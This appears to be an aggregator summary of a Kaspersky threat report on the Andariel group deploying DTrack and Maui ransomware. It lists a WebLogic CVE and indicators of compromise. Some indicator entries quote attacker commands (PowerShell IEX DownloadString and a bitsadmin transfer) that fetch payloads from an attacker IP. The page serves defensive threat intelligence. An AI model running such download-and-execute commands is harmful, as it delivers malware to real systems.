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Andariel deploys DTrack and Maui ransomware

Kaspersky Securelistby @Securelist ()6 min read1
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Vulnerabilities mentioned

All
CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2017-10271
Unauthenticated Remote Code Execution in Oracle WebLogic Server
7.5100%KEVRansomwarePoC ×3
KEV

Indicators of compromise

auto-extracted · verify before use · export allAll
TypeIndicatorContext
ipv4145.232.235.222( New - Object Net . WebClient ) . DownloadString ( 'hxxp://145.232.235[.]222/usr/users/mini.ps1' ) The mini.ps1 script is responsible
ipv48.8.8.8emp\netsh.res" "C:\Windows\system32\cmd.exe" / c ping - n 1 8.8.8.8 > "%Temp%\temp\ping.res" In addition, the malware collects
md52f553cba839ca4dab201d3f8154bae2athe same shellcode loader as “Backdoor.Preft” malware (MD5 2f553cba839ca4dab201d3f8154bae2a), published/reported by Symantec – note that Symantec recen
md55bc4b606f4c0f8cd2e6787ae049bf5bbt from the code similarity, the actor used 3Proxy tool (MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb), and that tool was also previously employed by the Andarie
md5739812e2ae1327a94e441719b885bd19Track malware 2021-04-15 Maui ransomware DTrack malware MD5 739812e2ae1327a94e441719b885bd19 SHA1 102a6954a16e80de814bee7ae2b893f1fa196613 SHA256 6122c9
md587e3fc08c01841999a8ad8fe25f12fe4e same victim, we discovered additional DTrack malware (MD5 87e3fc08c01841999a8ad8fe25f12fe4) using different login credentials. Additional DTrack modul
md595247511a611ba3d8581c7c6b8b1a38amployed by the Andariel/StoneFly/Silent Chollima group (MD5 95247511a611ba3d8581c7c6b8b1a38a). Symantec attributes StoneFly as the North Korean-linked a
md5ad4eababfe125110299e5a24be84472eten hours after the DTrack variant on the same server. MD5 ad4eababfe125110299e5a24be84472e SHA1 94db86c214f4ab401e84ad26bb0c9c246059daff SHA256 a557a0
md5cf236bf5b41d26967b1ce04ebbdb4041aving a similar timeline to the 3Proxy tool deployment. MD5 cf236bf5b41d26967b1ce04ebbdb4041 SHA1 feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 SHA256 60425a
md5f2f787868a3064407d79173ac5fc0864ther artifacts, and we do not have any further details. MD5 f2f787868a3064407d79173ac5fc0864 SHA1 1c4aa2cbe83546892c98508cad9da592089ef777 SHA256 92adc5
sha1102a6954a16e80de814bee7ae2b893f1fa196613re DTrack malware MD5 739812e2ae1327a94e441719b885bd19 SHA1 102a6954a16e80de814bee7ae2b893f1fa196613 SHA256 6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f
sha11c4aa2cbe83546892c98508cad9da592089ef777further details. MD5 f2f787868a3064407d79173ac5fc0864 SHA1 1c4aa2cbe83546892c98508cad9da592089ef777 SHA256 92adc5ea29491d9245876ba0b2957393633c9998eb47b3ae1344
sha194db86c214f4ab401e84ad26bb0c9c246059daffthe same server. MD5 ad4eababfe125110299e5a24be84472e SHA1 94db86c214f4ab401e84ad26bb0c9c246059daff SHA256 a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f1499
sha1feb79a5a2bdf0bcf0777ee51782dc50d2901bb91tool deployment. MD5 cf236bf5b41d26967b1ce04ebbdb4041 SHA1 feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 SHA256 60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d
sha25660425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d0875a0f25145db4041 SHA1 feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 SHA256 60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d0875a0f25145 Link time 2020-09-16 14:16:21 File type PE32 executable (GU
sha2566122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f6b2398728f6785bd19 SHA1 102a6954a16e80de814bee7ae2b893f1fa196613 SHA256 6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f6b2398728f67 Link time 2021-03-30 02:29:15 File type PE32 executable (GU
sha25692adc5ea29491d9245876ba0b2957393633c9998eb47b3ae1344c13a44cd59aefc0864 SHA1 1c4aa2cbe83546892c98508cad9da592089ef777 SHA256 92adc5ea29491d9245876ba0b2957393633c9998eb47b3ae1344c13a44cd59ae Link time 2021-02-22 05:36:16 File type PE32 executable (GU
sha256a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa84472e SHA1 94db86c214f4ab401e84ad26bb0c9c246059daff SHA256 a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa Link time 2021-04-15 04:36:00 File type PE32 executable (GU
urlhttp://145.232.235.222/usr/users/dwem.certitsadmin . exe / transfer myJob / download / priority high "hxxp://145.232.235[.]222/usr/users/dwem.cert" "%appdata%\microsoft\mmc\dwem.cert" The other victim ope
urlhttp://145.232.235.222/usr/users/mini.ps1xe IEX ( New - Object Net . WebClient ) . DownloadString ( 'hxxp://145.232.235[.]222/usr/users/mini.ps1' ) The mini.ps1 script is responsible for downloading and

From the original article

6 min read at securelist.com

On July 7, 2022, the CISA published an alert, entitled, “ North Korean State-Sponsored Cyber Actors Use Maui Ransomware To Target the Healthcare and Public Health Sector ,” related to a Stairwell report, “ Maui Ransomware .” Later, the Department of Justice announced that they had effectively clawed back $500,000 in ransom payments to the group, partly thanks to new legislation.

Kaspersky Securelist

By @Securelist · securelist.com

Read the full article at Kaspersky Securelist

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